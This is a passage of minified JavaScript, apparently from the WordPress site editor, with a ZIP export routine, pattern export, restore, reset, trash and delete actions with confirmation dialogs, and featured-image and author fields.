o=e.getSeconds()&gt;&gt;1|e.getMinutes()&lt;&lt;5|e.getHours()&lt;&lt;11,n=e.getDate()|e.getMonth()+1&lt;&lt;5|e.getFullYear()-1980&lt;&lt;9;t.setUint16(s,o,1),t.setUint16(s+2,n,1)}function ei({i:e,u:t},s){return 8*(!t||(s??function(e){try{ti.decode(e)}catch{return 0}return 1}(e)))}var ti=new TextDecoder(&quot;utf8&quot;,{fatal:1});function si(e,t=0){const s=Vn(30);return s.setUint32(0,1347093252),s.setUint32(4,754976768|t),Jn(e.t,s,10),s.setUint16(26,e.i.length,1),zn(s)}async function*oi(e){let{bytes:t}=e;if(&quot;then&quot;in t&amp;&amp;(t=await t),t instanceof Uint8Array)yield t,e.l=Xn(t,0),e.o=BigInt(t.length);else{e.o=0n;const s=t.getReader();for(;;){const{value:t,done:o}=await s.read();if(o)break;e.l=Xn(t,e.l),e.o+=BigInt(t.length),yield t}}}function ni(e,t){const s=Vn(16+(t?8:0));return s.setUint32(0,1347094280),s.setUint32(4,e.isFile?e.l:0,1),t?(s.setBigUint64(8,e.o,1),s.setBigUint64(16,e.o,1)):(s.setUint32(8,Hn(e.o),1),s.setUint32(12,Hn(e.o),1)),zn(s)}function ii(e,t,s=0,o=0){const n=Vn(46);return n.setUint32(0,1347092738),n.setUint32(4,755182848),n.setUint16(8,2048|s),Jn(e.t,n,12),n.setUint32(16,e.isFile?e.l:0,1),n.setUint32(20,Hn(e.o),1),n.setUint32(24,Hn(e.o),1),n.setUint16(28,e.i.length,1),n.setUint16(30,o,1),n.setUint16(40,e.mode|(e.isFile?32768:16384),1),n.setUint32(42,Hn(t),1),zn(n)}function ri(e,t,s){const o=Vn(s);return o.setUint16(0,1,1),o.setUint16(2,s-4,1),16&amp;s&amp;&amp;(o.setBigUint64(4,e.o,1),o.setBigUint64(12,e.o,1)),o.setBigUint64(s-8,t,1),zn(o)}function ai(e){return e instanceof File||e instanceof Response?[[e],[e]]:[[e.input,e.name,e.size],[e.input,e.lastModified,e.mode]]}function li(e,t={}){const s={&quot;Content-Type&quot;:&quot;application/zip&quot;,&quot;Content-Disposition&quot;:&quot;attachment&quot;};return(&quot;bigint&quot;==typeof t.length||Number.isInteger(t.length))&amp;&amp;t.length&gt;0&amp;&amp;(s[&quot;Content-Length&quot;]=String(t.length)),t.metadata&amp;&amp;(s[&quot;Content-Length&quot;]=String((e=&gt;function(e){let t=BigInt(22),s=0n,o=0;for(const n of e){if(!n.i)throw new Error(&quot;Every file must have a non-empty name.&quot;);if(void 0===n.o)throw new Error(`Missing size for file &quot;${(new TextDecoder).decode(n.i)}&quot;.`);const e=n.o&gt;=0xffffffffn,i=s&gt;=0xffffffffn;s+=BigInt(46+n.i.length+(e&amp;&amp;8))+n.o,t+=BigInt(n.i.length+46+(12*i|28*e)),o||(o=e)}return(o||s&gt;=0xffffffffn)&amp;&amp;(t+=BigInt(76)),t+s}(function*(e){for(const t of e)yield Yn(...ai(t)[0])}(e)))(t.metadata))),new Response(ci(e,t),{headers:s})}function ci(e,t={}){const s=function(e){const t=e[Symbol.iterator in e?Symbol.iterator:Symbol.asyncIterator]();return{async next(){const e=await t.next();if(e.done)return e;const[s,o]=ai(e.value);return{done:0,value:Object.assign($n(...o),Yn(...s))}},throw:t.throw?.bind(t),[Symbol.asyncIterator](){return this}}}(e);return Wn(async function*(e,t){const s=[];let o=0n,n=0n,i=0;for await(const r of e){const e=ei(r,t.buffersAreUTF8);yield si(r,e),yield new Uint8Array(r.i),r.isFile&amp;&amp;(yield*oi(r));const a=r.o&gt;=0xffffffffn,l=12*(o&gt;=0xffffffffn)|28*a;yield ni(r,a),s.push(ii(r,o,e,l)),s.push(r.i),l&amp;&amp;s.push(ri(r,o,l)),a&amp;&amp;(o+=8n),n++,o+=BigInt(46+r.i.length)+r.o,i||(i=a)}let r=0n;for(const e of s)yield e,r+=BigInt(e.length);if(i||o&gt;=0xffffffffn){const e=Vn(76);e.setUint32(0,1347094022),e.setBigUint64(4,BigInt(44),1),e.setUint32(12,755182848),e.setBigUint64(24,n,1),e.setBigUint64(32,n,1),e.setBigUint64(40,r,1),e.setBigUint64(48,o,1),e.setUint32(56,1347094023),e.setBigUint64(64,o+r,1),e.setUint32(72,1,1),yield zn(e)}const a=Vn(22);a.setUint32(0,1347093766),a.setUint16(8,Gn(n),1),a.setUint16(10,Gn(n),1),a.setUint32(12,Hn(r),1),a.setUint32(16,Hn(o),1),yield zn(a)}(s,t),s)}const di=window.wp.blob,ui=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M18 11.3l-1-1.1-4 4V3h-1.5v11.3L7 10.2l-1 1.1 6.2 5.8 5.8-5.8zm.5 3.7v3.5h-13V15H4v5h16v-5h-1.5z&quot;})});function pi(e){return JSON.stringify({__file:e.type,title:on(e),content:&quot;string&quot;==typeof e.content?e.content:e.content?.raw,syncStatus:e.wp_pattern_sync_status},null,2)}const mi={id:&quot;export-pattern&quot;,label:(0,fs.__)(&quot;Export as JSON&quot;),icon:ui,supportsBulk:!0,isEligible:e=&gt;&quot;wp_block&quot;===e.type,callback:async e=&gt;{if(1===e.length)return(0,di.downloadBlob)(`${qo(on(e[0])||e[0].slug)}.json`,pi(e[0]),&quot;application/json&quot;);const t={},s=e.map((e=&gt;{const s=qo(on(e)||e.slug);return t[s]=(t[s]||0)+1,{name:s+(t[s]&gt;1?&quot;-&quot;+(t[s]-1):&quot;&quot;)+&quot;.json&quot;,lastModified:new Date,input:pi(e)}}));return(0,di.downloadBlob)((0,fs.__)(&quot;patterns-export&quot;)+&quot;.zip&quot;,await li(s).blob(),&quot;application/zip&quot;)}},hi=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M5.5 12h1.75l-2.5 3-2.5-3H4a8 8 0 113.134 6.35l.907-1.194A6.5 6.5 0 105.5 12zm9.53 1.97l-2.28-2.28V8.5a.75.75 0 00-1.5 0V12a.747.747 0 00.218.529l1.282-.84-1.28.842 2.5 2.5a.75.75 0 101.06-1.061z&quot;})}),gi={id:&quot;restore&quot;,label:(0,fs.__)(&quot;Restore&quot;),isPrimary:!0,icon:hi,supportsBulk:!0,isEligible:e=&gt;!sn(e)&amp;&amp;&quot;wp_block&quot;!==e.type&amp;&amp;&quot;trash&quot;===e.status&amp;&amp;e.permissions?.update,async callback(e,{registry:t,onActionPerformed:s}){const{createSuccessNotice:o,createErrorNotice:n}=t.dispatch(_s.store),{editEntityRecord:i,saveEditedEntityRecord:r}=t.dispatch(d.store);await Promise.allSettled(e.map((e=&gt;i(&quot;postType&quot;,e.type,e.id,{status:&quot;draft&quot;}))));const a=await Promise.allSettled(e.map((e=&gt;r(&quot;postType&quot;,e.type,e.id,{throwOnError:!0}))));if(a.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){let t;t=1===e.length?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; has been restored.&#039;),on(e[0])):&quot;page&quot;===e[0].type?(0,fs.sprintf)((0,fs.__)(&quot;%d pages have been restored.&quot;),e.length):(0,fs.sprintf)((0,fs.__)(&quot;%d posts have been restored.&quot;),e.length),o(t,{type:&quot;snackbar&quot;,id:&quot;restore-post-action&quot;}),s&amp;&amp;s(e)}else{let e;if(1===a.length){const t=a[0];e=t.reason?.message?t.reason.message:(0,fs.__)(&quot;An error occurred while restoring the post.&quot;)}else{const t=new Set,s=a.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of s){const s=e;s.reason?.message&amp;&amp;t.add(s.reason.message)}e=0===t.size?(0,fs.__)(&quot;An error occurred while restoring the posts.&quot;):1===t.size?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while restoring the posts: %s&quot;),[...t][0]):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while restoring the posts: %s&quot;),[...t].join(&quot;,&quot;))}n(e,{type:&quot;snackbar&quot;})}}},_i=async(e,{allowUndo:t=!0}={})=&gt;{const s=&quot;edit-site-template-reverted&quot;;var o;if((0,c.dispatch)(_s.store).removeNotice(s),(o=e)&amp;&amp;&quot;custom&quot;===o.source&amp;&amp;(Boolean(o?.plugin)||o?.has_theme_file))try{const o=(0,c.select)(d.store).getEntityConfig(&quot;postType&quot;,e.type);if(!o)return void(0,c.dispatch)(_s.store).createErrorNotice((0,fs.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});const n=(0,v.addQueryArgs)(`${o.baseURL}/${e.id}`,{context:&quot;edit&quot;,source:e.origin}),i=await gs()({path:n});if(!i)return void(0,c.dispatch)(_s.store).createErrorNotice((0,fs.__)(&quot;The editor has encountered an unexpected error. Please reload.&quot;),{type:&quot;snackbar&quot;});const r=({blocks:e=[]})=&gt;(0,y.__unstableSerializeAndClean)(e),a=(0,c.select)(d.store).getEditedEntityRecord(&quot;postType&quot;,e.type,e.id);(0,c.dispatch)(d.store).editEntityRecord(&quot;postType&quot;,e.type,e.id,{content:r,blocks:a.blocks,source:&quot;custom&quot;},{undoIgnore:!0});const l=(0,y.parse)(i?.content?.raw);if((0,c.dispatch)(d.store).editEntityRecord(&quot;postType&quot;,e.type,i.id,{content:r,blocks:l,source:&quot;theme&quot;}),t){const t=()=&gt;{(0,c.dispatch)(d.store).editEntityRecord(&quot;postType&quot;,e.type,a.id,{content:r,blocks:a.blocks,source:&quot;custom&quot;})};(0,c.dispatch)(_s.store).createSuccessNotice((0,fs.__)(&quot;Template reset.&quot;),{type:&quot;snackbar&quot;,id:s,actions:[{label:(0,fs.__)(&quot;Undo&quot;),onClick:t}]})}}catch(e){const t=e.message&amp;&amp;&quot;unknown_error&quot;!==e.code?e.message:(0,fs.__)(&quot;Template revert failed. Please reload.&quot;);(0,c.dispatch)(_s.store).createErrorNotice(t,{type:&quot;snackbar&quot;})}else(0,c.dispatch)(_s.store).createErrorNotice((0,fs.__)(&quot;This template is not revertable.&quot;),{type:&quot;snackbar&quot;})},fi={id:&quot;reset-post&quot;,label:(0,fs.__)(&quot;Reset&quot;),isEligible:e=&gt;sn(e)&amp;&amp;&quot;custom&quot;===e?.source&amp;&amp;(Boolean(&quot;wp_template&quot;===e.type&amp;&amp;e?.plugin)||e?.has_theme_file),icon:hi,supportsBulk:!0,hideModalHeader:!0,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[o,n]=(0,u.useState)(!1),{saveEditedEntityRecord:i}=(0,c.useDispatch)(d.store),{createSuccessNotice:r,createErrorNotice:a}=(0,c.useDispatch)(_s.store);return(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,L.jsx)(Uo.__experimentalText,{children:(0,fs.__)(&quot;Reset to default and clear all customizations?&quot;)}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,disabled:o,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:async()=&gt;{n(!0),await(async()=&gt;{try{for(const t of e)await _i(t,{allowUndo:!1}),await i(&quot;postType&quot;,t.type,t.id);r(e.length&gt;1?(0,fs.sprintf)((0,fs.__)(&quot;%s items reset.&quot;),e.length):(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; reset.&#039;),on(e[0])),{type:&quot;snackbar&quot;,id:&quot;revert-template-action&quot;})}catch(t){let s;s=&quot;wp_template&quot;===e[0].type?1===e.length?(0,fs.__)(&quot;An error occurred while reverting the template.&quot;):(0,fs.__)(&quot;An error occurred while reverting the templates.&quot;):1===e.length?(0,fs.__)(&quot;An error occurred while reverting the template part.&quot;):(0,fs.__)(&quot;An error occurred while reverting the template parts.&quot;);const o=t,n=o.message&amp;&amp;&quot;unknown_error&quot;!==o.code?o.message:s;a(n,{type:&quot;snackbar&quot;})}})(),s?.(e),n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Reset&quot;)})]})]})}},bi=fi,yi=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z&quot;})});function xi(e){const t=new Set;if(1===e.length){const s=e[0];s.reason?.message&amp;&amp;t.add(s.reason.message)}else{const s=e.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of s){const s=e;s.reason?.message&amp;&amp;t.add(s.reason.message)}}return t}const{PATTERN_TYPES:vi}=dn(ln.privateApis),Si={id:&quot;delete-post&quot;,label:(0,fs.__)(&quot;Delete&quot;),isPrimary:!0,icon:yi,isEligible:e=&gt;sn(e)?nn(e):e.type===vi.user,supportsBulk:!0,hideModalHeader:!0,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[o,n]=(0,u.useState)(!1),i=e.every((e=&gt;sn(e)&amp;&amp;e?.has_theme_file));return(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,L.jsx)(Uo.__experimentalText,{children:e.length&gt;1?(0,fs.sprintf)((0,fs._n)(&quot;Delete %d item?&quot;,&quot;Delete %d items?&quot;,e.length),e.length):(0,fs.sprintf)((0,fs._x)(&#039;Delete &quot;%s&quot;?&#039;,&quot;template part&quot;),on(e[0]))}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{variant:&quot;tertiary&quot;,onClick:t,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{variant:&quot;primary&quot;,onClick:async()=&gt;{n(!0);const o={success:{messages:{getMessage:e=&gt;i?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; reset.&#039;),(0,Lo.decodeEntities)(on(e))):(0,fs.sprintf)((0,fs._x)(&#039;&quot;%s&quot; deleted.&#039;,&quot;template part&quot;),(0,Lo.decodeEntities)(on(e))),getBatchMessage:()=&gt;i?(0,fs.__)(&quot;Items reset.&quot;):(0,fs.__)(&quot;Items deleted.&quot;)}},error:{messages:{getMessage:e=&gt;1===e.size?[...e][0]:i?(0,fs.__)(&quot;An error occurred while reverting the item.&quot;):(0,fs.__)(&quot;An error occurred while deleting the item.&quot;),getBatchMessage:e=&gt;0===e.size?i?(0,fs.__)(&quot;An error occurred while reverting the items.&quot;):(0,fs.__)(&quot;An error occurred while deleting the items.&quot;):1===e.size?i?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while reverting the items: %s&quot;),[...e][0]):(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while deleting the items: %s&quot;),[...e][0]):i?(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while reverting the items: %s&quot;),[...e].join(&quot;,&quot;)):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while deleting the items: %s&quot;),[...e].join(&quot;,&quot;))}}};await(async(e,t,s)=&gt;{const{createSuccessNotice:o,createErrorNotice:n}=(0,c.dispatch)(_s.store),{deleteEntityRecord:i}=(0,c.dispatch)(d.store),r=await Promise.allSettled(e.map((e=&gt;i(&quot;postType&quot;,e.type,e.id,{force:!0},{throwOnError:!0}))));if(r.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){var a;let n;n=1===r.length?t.success.messages.getMessage(e[0]):t.success.messages.getBatchMessage(e),o(n,{type:null!==(a=t.success.type)&amp;&amp;void 0!==a?a:&quot;snackbar&quot;,id:t.success.id}),s.onActionPerformed?.(e)}else{var l;const e=xi(r);let o=&quot;&quot;;o=1===r.length?t.error.messages.getMessage(e):t.error.messages.getBatchMessage(e),n(o,{type:null!==(l=t.error.type)&amp;&amp;void 0!==l?l:&quot;snackbar&quot;,id:t.error.id}),s.onActionError?.()}})(e,o,{onActionPerformed:s}),n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)(&quot;Delete&quot;)})]})]})}},wi=Si,ki={id:&quot;move-to-trash&quot;,label:(0,fs.__)(&quot;Move to trash&quot;),isPrimary:!0,icon:yi,isEligible:e=&gt;!sn(e)&amp;&amp;&quot;wp_block&quot;!==e.type&amp;&amp;(!!e.status&amp;&amp;![&quot;auto-draft&quot;,&quot;trash&quot;].includes(e.status)&amp;&amp;e.permissions?.delete),supportsBulk:!0,hideModalHeader:!0,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[o,n]=(0,u.useState)(!1),{createSuccessNotice:i,createErrorNotice:r}=(0,c.useDispatch)(_s.store),{deleteEntityRecord:a}=(0,c.useDispatch)(d.store);return(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,L.jsx)(Uo.__experimentalText,{children:1===e.length?(0,fs.sprintf)((0,fs.__)(&#039;Are you sure you want to move &quot;%s&quot; to the trash?&#039;),on(e[0])):(0,fs.sprintf)((0,fs._n)(&quot;Are you sure you want to move %d item to the trash ?&quot;,&quot;Are you sure you want to move %d items to the trash ?&quot;,e.length),e.length)}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,disabled:o,accessibleWhenDisabled:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:async()=&gt;{n(!0);const o=await Promise.allSettled(e.map((e=&gt;a(&quot;postType&quot;,e.type,e.id.toString(),{},{throwOnError:!0}))));if(o.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){let t;t=1===o.length?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; moved to the trash.&#039;),on(e[0])):(0,fs.sprintf)((0,fs._n)(&quot;%s item moved to the trash.&quot;,&quot;%s items moved to the trash.&quot;,e.length),e.length),i(t,{type:&quot;snackbar&quot;,id:&quot;move-to-trash-action&quot;})}else{let e;if(1===o.length){const t=o[0];e=t.reason?.message?t.reason.message:(0,fs.__)(&quot;An error occurred while moving the item to the trash.&quot;)}else{const t=new Set,s=o.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of s){const s=e;s.reason?.message&amp;&amp;t.add(s.reason.message)}e=0===t.size?(0,fs.__)(&quot;An error occurred while moving the items to the trash.&quot;):1===t.size?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while moving the item to the trash: %s&quot;),[...t][0]):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while moving the items to the trash: %s&quot;),[...t].join(&quot;,&quot;))}r(e,{type:&quot;snackbar&quot;})}s&amp;&amp;s(e),n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,children:(0,fs._x)(&quot;Trash&quot;,&quot;verb&quot;)})]})]})}},Ci=ki,Pi={id:&quot;permanently-delete&quot;,label:(0,fs.__)(&quot;Permanently delete&quot;),supportsBulk:!0,icon:yi,isEligible(e){if(sn(e)||&quot;wp_block&quot;===e.type)return!1;const{status:t,permissions:s}=e;return&quot;trash&quot;===t&amp;&amp;s?.delete},hideModalHeader:!0,RenderModal:({items:e,closeModal:t,onActionPerformed:s})=&gt;{const[o,n]=(0,u.useState)(!1),{createSuccessNotice:i,createErrorNotice:r}=(0,c.useDispatch)(_s.store),{deleteEntityRecord:a}=(0,c.useDispatch)(d.store);return(0,L.jsxs)(Uo.__experimentalVStack,{spacing:&quot;5&quot;,children:[(0,L.jsx)(Uo.__experimentalText,{children:e.length&gt;1?(0,fs.sprintf)((0,fs._n)(&quot;Are you sure you want to permanently delete %d item?&quot;,&quot;Are you sure you want to permanently delete %d items?&quot;,e.length),e.length):(0,fs.sprintf)((0,fs.__)(&#039;Are you sure you want to permanently delete &quot;%s&quot;?&#039;),(0,Lo.decodeEntities)(on(e[0])))}),(0,L.jsxs)(Uo.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,L.jsx)(Uo.Button,{variant:&quot;tertiary&quot;,onClick:t,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)(&quot;Cancel&quot;)}),(0,L.jsx)(Uo.Button,{variant:&quot;primary&quot;,onClick:async()=&gt;{n(!0);const o=await Promise.allSettled(e.map((e=&gt;a(&quot;postType&quot;,e.type,e.id,{force:!0},{throwOnError:!0}))));if(o.every((({status:e})=&gt;&quot;fulfilled&quot;===e))){let t;t=1===o.length?(0,fs.sprintf)((0,fs.__)(&#039;&quot;%s&quot; permanently deleted.&#039;),on(e[0])):(0,fs.__)(&quot;The items were permanently deleted.&quot;),i(t,{type:&quot;snackbar&quot;,id:&quot;permanently-delete-post-action&quot;}),s?.(e)}else{let e;if(1===o.length){const t=o[0];e=t.reason?.message?t.reason.message:(0,fs.__)(&quot;An error occurred while permanently deleting the item.&quot;)}else{const t=new Set,s=o.filter((({status:e})=&gt;&quot;rejected&quot;===e));for(const e of s){const s=e;s.reason?.message&amp;&amp;t.add(s.reason.message)}e=0===t.size?(0,fs.__)(&quot;An error occurred while permanently deleting the items.&quot;):1===t.size?(0,fs.sprintf)((0,fs.__)(&quot;An error occurred while permanently deleting the items: %s&quot;),[...t][0]):(0,fs.sprintf)((0,fs.__)(&quot;Some errors occurred while permanently deleting the items: %s&quot;),[...t].join(&quot;,&quot;))}r(e,{type:&quot;snackbar&quot;})}n(!1),t?.()},isBusy:o,disabled:o,accessibleWhenDisabled:!0,__next40pxDefaultSize:!0,children:(0,fs.__)(&quot;Delete permanently&quot;)})]})]})}},ji=Pi,Ei=window.wp.mediaUtils,Ti=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M5 11.25h14v1.5H5z&quot;})}),Bi={id:&quot;featured_media&quot;,type:&quot;media&quot;,label:(0,fs.__)(&quot;Featured Image&quot;),Edit:({data:e,field:t,onChange:s})=&gt;{const{id:o}=t,n=t.getValue({item:e}),i=(0,c.useSelect)((e=&gt;{const{getEntityRecord:t}=e(d.store);return t(&quot;root&quot;,&quot;media&quot;,n)}),[n]),r=(0,u.useCallback)((e=&gt;s({[o]:e})),[o,s]),a=i?.source_url,l=i?.title?.rendered,p=(0,u.useRef)(null);return(0,L.jsx)(&quot;fieldset&quot;,{className:&quot;fields-controls__featured-image&quot;,children:(0,L.jsx)(&quot;div&quot;,{className:&quot;fields-controls__featured-image-container&quot;,children:(0,L.jsx)(Ei.MediaUpload,{onSelect:e=&gt;{r(e.id)},allowedTypes:[&quot;image&quot;],render:({open:e})=&gt;(0,L.jsx)(&quot;div&quot;,{ref:p,role:&quot;button&quot;,tabIndex:-1,onClick:()=&gt;{e()},onKeyDown:e,children:(0,L.jsxs)(Uo.__experimentalGrid,{rowGap:0,columnGap:8,templateColumns:&quot;24px 1fr 24px&quot;,children:[a&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;img&quot;,{className:&quot;fields-controls__featured-image-image&quot;,alt:&quot;&quot;,width:24,height:24,src:a}),(0,L.jsx)(&quot;span&quot;,{className:&quot;fields-controls__featured-image-title&quot;,children:l})]}),!a&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;fields-controls__featured-image-placeholder&quot;,style:{width:&quot;24px&quot;,height:&quot;24px&quot;}}),(0,L.jsx)(&quot;span&quot;,{className:&quot;fields-controls__featured-image-title&quot;,children:(0,fs.__)(&quot;Choose an image…&quot;)})]}),a&amp;&amp;(0,L.jsx)(L.Fragment,{children:(0,L.jsx)(Uo.Button,{size:&quot;small&quot;,className:&quot;fields-controls__featured-image-remove-button&quot;,icon:Ti,onClick:e=&gt;{e.stopPropagation(),r(0)}})})]})})})})})},render:({item:e})=&gt;{const t=e.featured_media,s=(0,c.useSelect)((e=&gt;{const{getEntityRecord:s}=e(d.store);return t?s(&quot;root&quot;,&quot;media&quot;,t):null}),[t]),o=s?.source_url;return o?(0,L.jsx)(&quot;img&quot;,{className:&quot;fields-controls__featured-image-image&quot;,src:o,alt:&quot;&quot;}):(0,L.jsx)(&quot;span&quot;,{className:&quot;fields-controls__featured-image-placeholder&quot;})},enableSorting:!1},Ii=Bi;function Ni(e){var t,s,o=&quot;&quot;;if(&quot;string&quot;==typeof e||&quot;number&quot;==typeof e)o+=e;else if(&quot;object&quot;==typeof e)if(Array.isArray(e)){var n=e.length;for(t=0;t&lt;n;t++)e[t]&amp;&amp;(s=Ni(e[t]))&amp;&amp;(o&amp;&amp;(o+=&quot; &quot;),o+=s)}else for(s in e)e[s]&amp;&amp;(o&amp;&amp;(o+=&quot; &quot;),o+=s);return o}const Di=function(){for(var e,t,s=0,o=&quot;&quot;,n=arguments.length;s&lt;n;s++)(e=arguments[s])&amp;&amp;(t=Ni(e))&amp;&amp;(o&amp;&amp;(o+=&quot; &quot;),o+=t);return o},Ai=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,d:&quot;M7.25 16.437a6.5 6.5 0 1 1 9.5 0V16A2.75 2.75 0 0 0 14 13.25h-4A2.75 2.75 0 0 0 7.25 16v.437Zm1.5 1.193a6.47 6.47 0 0 0 3.25.87 6.47 6.47 0 0 0 3.25-.87V16c0-.69-.56-1.25-1.25-1.25h-4c-.69 0-1.25.56-1.25 1.25v1.63ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm10-2a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z&quot;,clipRule:&quot;evenodd&quot;})});const Ri=function({item:e}){const{text:t,imageUrl:s}=(0,c.useSelect)((t=&gt;{const{getEntityRecord:s}=t(d.store);let o;return e.author&amp;&amp;(o=s(&quot;root&quot;,&quot;user&quot;,e.author)),{imageUrl:o?.avatar_urls?.[48],text:o?.name}}),[e]),[o,n]=(0,u.useState)(!1);return(0,L.jsxs)(Uo.__experimentalHStack,{alignment:&quot;left&quot;,spacing:0,children:[!!s&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:Di(&quot;page-templates-author-field__avatar&quot;,{&quot;is-loaded&quot;:o}),children:(0,L.jsx)(&quot;img&quot;,{onLoad:()=&gt;n(!0),alt:(0,fs.__)(&quot;Author avatar&quot;),src:s})}),!s&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:&quot;page-templates-author-field__icon&quot;,children:(0,L.jsx)(Uo.Icon,{icon:Ai})}),(0,L.jsx)(&quot;span&quot;,{className:&quot;page-templates-author-field__name&quot;,children:t})]})},Mi={label:(0,fs.__)(&quot;Author&quot;),id:&quot;author&quot;,type:&quot;integer&quot;,elements:[],render:Ri,sort:(e,t,s)=&gt;{const o=e._embedded?.author?.[0]?.name||&quot;&quot;,n=t._embedded?.author?.[0]?.name||&quot;&quot;;return&quot;asc&quot;===s?o.localeCompare(n):n.localeCompare(o)}},Li=Mi,Oi=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 0 4-4H8a4 4 0 0 0 4 4Z&quot;})}),Fi=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm9 1V8h-1.5v3.5h-2V13H13Z&quot;})}),Vi=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5a6.5 6.5 0 1 1 0-13 6.5 6.5 0 0 1 0 13ZM4 12a8 8 0 1 1 16 0 8 8 0 0 1-16 0Zm8 4a4 4 0 0 1-4-4h4V8a4 4 0 0 1 0 8Z&quot;})}),zi=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 18.5A6.5 6.5 0 0 1 6.93 7.931l9.139 